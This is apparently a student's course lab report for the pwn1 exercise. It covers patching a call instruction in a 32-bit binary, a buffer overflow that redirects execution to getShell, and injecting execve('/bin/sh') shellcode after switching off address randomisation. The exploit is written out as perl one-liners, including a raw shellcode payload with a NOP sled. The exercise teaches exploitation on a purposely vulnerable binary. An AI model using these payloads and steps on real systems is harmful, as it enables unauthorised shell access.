20155239吕宇轩 Exp1 PC平台逆向破解(5)M

20155239 网络对抗 Exp1 PC平台逆向破解(5)M

实验内容

(1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分)

(2)掌握反汇编与十六进制编程器 (1分)

(3)能正确修改机器指令改变程序执行流程(1分)

(4)能正确构造payload进行bof攻击(2分)

(5)Optional:进阶,shellcode编程与注入

实践指导:实践指导

实践目标

  • 本次实践的对象是一个名为pwn1的linux可执行文件。

  • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

  • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    注入一个自己制作的shellcode并运行这段shellcode。
    这几种思路,基本代表现实情况中的攻击目标:
    运行原本不可访问的代码片段
    强行修改程序执行流
    以及注入运行任意代码。
    一:
    实验对象为32位可执行文件pwn1,这个程序主要有main、foo、getshell这三个函数

  • foo函数:为输出输入的字符串

  • getshell函数:打开一个shell

原程序中main函数只调用了foo函数,接下来我们先通过直接修改程序机器指令,改变程序执行流程,使getshell函数被调用

实验步骤如下

1.使用 objdump -d pwn1 | more 命令对pwn1进行反汇编

可以看到以下主要内容:

  • 1.getshell函数的入口地址为0x0804847d,该函数功能为打开一个shell
  • 2.foo函数的入口地址为0x08048491,该函数功能为输出输入的函数
  • 3.main函数调用了foo函数,机器码为e8 d7 ff ff ff
    考虑e8可能为指令call的机器码,故d7 ff ff ff可能对应foo函数的地址0x08048491,而getshell函数的地址为0x08048491,两者相差0x14,考虑到数据以小端方式存储,实际地址为ff ff ff d7,将d7加上或减去0x14即可能使getshell函数被调用。
    (实际上d7 ff ff ff是一个偏移值,目标地址(0x08048491)=这条指令所在地址(0x080484b5)+指令长度(0x5)+操作数(-0x29),ff ff ff d7的二进制表示11111111 11111111 11111111 11010111即表示16进制的-0x29,现在欲将目标地址改为getshell函数的入口地址0x0804847d,则应将操作数再减去0x14,即-0x3d,补码为11111111 11111111 11111111 11000011,即ff ff ff c3,用小端方式表示为 c3 ff ff ff,这证实了之前的猜测,将0xd7减去0x14,即可得到正确的值)

2.下面我们将d7修改为c3

1. vi 20155239lvyuxuan

发现这是一个二进制文件

  • 按ESC键

2.在vi中输入命令 %!xxd

以16进制显示文件,接着输入命令/d7找到要修改的位置

  • 找到后前后的内容和反汇编的对比下,确认是地方是正确的7.修改d7为c3

实验结果:

二.通过构造输入参数,造成BOF攻击,改变程序执行流

  • 首先进行反汇编,了解程序的基本功能

  • 注意这个函数getShell,我们的目标是触发这个函数

  • 该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞

  • 这里读入字符串,但系统只预留了字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址

  • 确认输入字符串哪几个字符会覆盖到返回地址
    选择 “ 1111111122222222333333334444444455555555 ” 来测试,容易标识
    使用

  • gdb 进入调试界面。

  • 使用命令info r查看各个寄存器的值
  • 此时注意到eip的值为ASCII的5,即在输入字符串的“5”的部分发生溢出。所以尝试将5的部分改为其他数字进行比对:

  • 将“55555555”改成“12345678”,输入info r查看寄存器注意寄存器eip的值,如图“0x34333231 0x34333231”,换算成ASCⅡ码刚好是1234。1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。

  • 只要把这四个字符替换为 getShell 的内存地址,输给20155232lsq,20155232lsq就会运行getShell。

  • getShell的内存地址,通过反汇编时可以看到,即0804847d。

  • 接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。

  • 对比之前eip 0x34333231 0x34333231 ,正确应用输入 11111111222222223333333344444444\x7d\x84\x04\x08

  • 由于我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

  • 关于Perl: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中。

  • 可以使用16进制查看指令xxd查看input文件的内容是否如预期

    然后将input的输入,通过管道符“|”,作为pwn1的输入。

3.注入Shellcode并执行

先输入apt-get install execstack下载··execstack··。


然后输入下面的指令

execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space 
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space

构造要注入的payload。
Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr。
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

我们这个buf够放这个shellcode了
结构为:nops+shellcode+retaddr。
nop一为是了填充,二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
接下来就根据实验指导输入命令

 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
 \x4\x3\x2\x1为溢出到eip的部分。
  • 我输入(cat input_shellcode;cat) | ./pwn1,运行pwn1,然后打开顶一个终端,输入ps -ef | grep pwn1找到pwn1的进程号为30081,如图:

  • 接着进行gdb调试,输入attach 30081

  • 通过设置断点,来查看注入buf的内存地址

    • disassemble foo
  • 断在ret,这时注入的东西都大堆栈上了ret完,就跳到我们覆盖的retaddr那个地方了

  • 在另外一个终端中按下回车,这就是前面为什么不能以\x0a来结束 input_shellcode的原因。

  • break *0x080484ae设置断点,并输入c继续运行。在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp查找地址

  • 使用x/16x 0xffffd2fc查看其存放内容,看到了01020304
    ,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是 0xffffd300。

  • 决定将返回地址改为0xffffd300。

  • 再执行程序,攻击成功

实验感想

首先在学习的过程中遇到了很多的问题:比如未找到命令,所以需要输入命令下载 apt-get install execstack

评分标准:

截图要求:
1.1 所有操作截图主机名为本人姓名拼音
1.2 所编辑的文件名包含自己的学号
如未按如上格式要求,则相应部分报告内容不记成绩。
2 报告内容
2.1掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分)
2.2掌握反汇编与十六进制编程器 (0.5分)
2.3能正确修改机器指令改变程序执行流程(0.5分)
2.4能正确构造payload进行bof攻击(0.5分)

3.报告整体观感
3.1 报告格式范围,版面整洁 加0.5。
3.2 报告排版混乱,加0分。

4.文字表述
4.1报告文字内容非常全面,表述清晰准确 加1分。
4.2报告逻辑清楚,比较简要地介绍了自己的操作目标与过程 加0.5分。
4.3报告逻辑混乱表述不清或文字有明显抄袭可能 加0分。

posted on 2018-03-18 22:01  吕宇轩  阅读(309)  评论(0编辑  收藏  举报